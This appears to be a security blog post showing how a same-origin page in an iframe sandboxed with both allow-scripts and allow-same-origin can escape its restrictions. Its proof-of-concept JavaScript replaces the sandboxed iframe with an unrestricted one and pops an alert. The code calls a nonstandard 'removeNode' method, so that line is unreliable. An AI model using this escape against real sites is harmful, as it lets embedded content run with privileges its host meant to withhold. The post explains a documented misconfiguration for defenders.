Escaping Improperly Sandboxed Iframes
Tags: security, iframe, sandbox, escaping
Published: 2020-05-06 11:39:17

Thanks to iframe's sandbox attribute, it is possible to specify restrictions applied on content displayed inside the iframe. The documentation **strongly discourages** from using both `allow-scripts` and `allow-same-origin` values due to security risks it may introduce. In this blogpost, I am going to explain and demonstrate why.

In [Mozilla's developer documentation](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) on `<iframe>`, you can find the following remark related to `allow-scripts` and `allow-same-origin` values of the `sandbox` attribute:

> When the embedded document has the same origin as the embedding page, it is **strongly discouraged** to use both `allow-scripts` and `allow-same-origin`, as that lets the embedded document remove the sandbox attribute — making it no more secure than not using the sandbox attribute at all.

When I first read this note, I thought that escaping will be fairly straightforward:

- Accessing `window.parent` from the page inside the iframe,
- getting the iframe element reference via [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model/Introduction) functions, such as `.getElementById()` or `.getElementsByTagName()`,
- removing the iframe's `sandbox` element via `.removeAttribute("sandbox")`,
- calling `alert()` function to create a modal window despite `allow-modals` was not set for the iframe, hence escaping from the iframe's restrictions.

Unfortunatelly, this rather naïve approach does not work. From my experiments, the reason for that is the fact that browsers apply restrictions on the `<iframe>`'s content **when loading the page**. When I subsequently change or remove the sandbox attribute and then call "illegal" functions, browser will still block them.

On the following lines I will demonstrate the simplest solution I have been able to come up with. Before I get to it, let me explain the terminology I am using - a `child page` refers to a page that is being displayed in the `iframe`, while a `parent page` refers to a page that contains the `<iframe>` element. 

Let's have a look at parent page, in `index.html`:

```html
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>PoC - Discouraged combination of sandbox attribute values (parent page)</title>
</head>
<body>
    <iframe src="kid.htm" sandbox="allow-same-origin allow-scripts" id="escapeMe"></iframe>
</body>
</html>
```

This is the page that we need to modify from the child page (`kid.htm`). To escape the iframe as I outlined above, I will be popping an `alert()` from the child page inside the parent. 

One of the simplest solutions I have been able to come up with is to simply create a new iframe in place of the old one, and let the child page know it has been loaded in unrestricted mode. I will walk you through the process step by step.

First, I will obtain a reference to the parent window and verify the `iframe` in question still exists. If the original iframe **is missing**, it means that the child page is loaded from another `iframe` - the one we are going to create in step 2 as a replacement:

```javascript
let parent = window.parent;
if (parent.document.getElementById("escapeMe") != null) {
    // 1. Create replacement iframe
    // 2. Delete the old one
} else {
    // When the original iframe no longer exists, we can assume
    // it is possible to execute our code without restrictions
    alert("This should not have happened.");
}
```

In the second step, I expand the body of the condition to create unrestricted iframe and to remove the original one with restrictions:

```javascript
let parent = window.parent;
if (parent.document.getElementById("escapeMe") != null) {
    
    // 1. Create replacement iframe
    let replacement = parent.document.createElement("iframe");
    replacement.setAttribute("src", "kid.htm");
    replacement.setAttribute("id", "escapedAlready");
    parent.document.body.append(replacement);
    
    // 2. Delete the old one
    let original = parent.document.getElementById("escapeMe");
    original.parentNode.removeNode(original);

} else {
    // When the original iframe no longer exists, we can assume
    // it is possible to execute our code without restrictions
    alert("This should not have happened.");
}
```

Now, when the parent page loads the child page into the `iframe` with `allow-scripts` and `allow-same-origin`, the child page manages to escape the original iframe's restrictions and execute its code.

Both of the files I used in this demonstration are [available on my Github](https://github.com/dusekdan/RandomSecurity/tree/master/iframeSandboxDiscouragedCombination). You can also try for yourself on my [Github Pages](https://dusekdan.github.io/RandomSecurity/iframeSandboxDiscouragedCombination/).

Can you think of a simpler way to escape? Please let me know!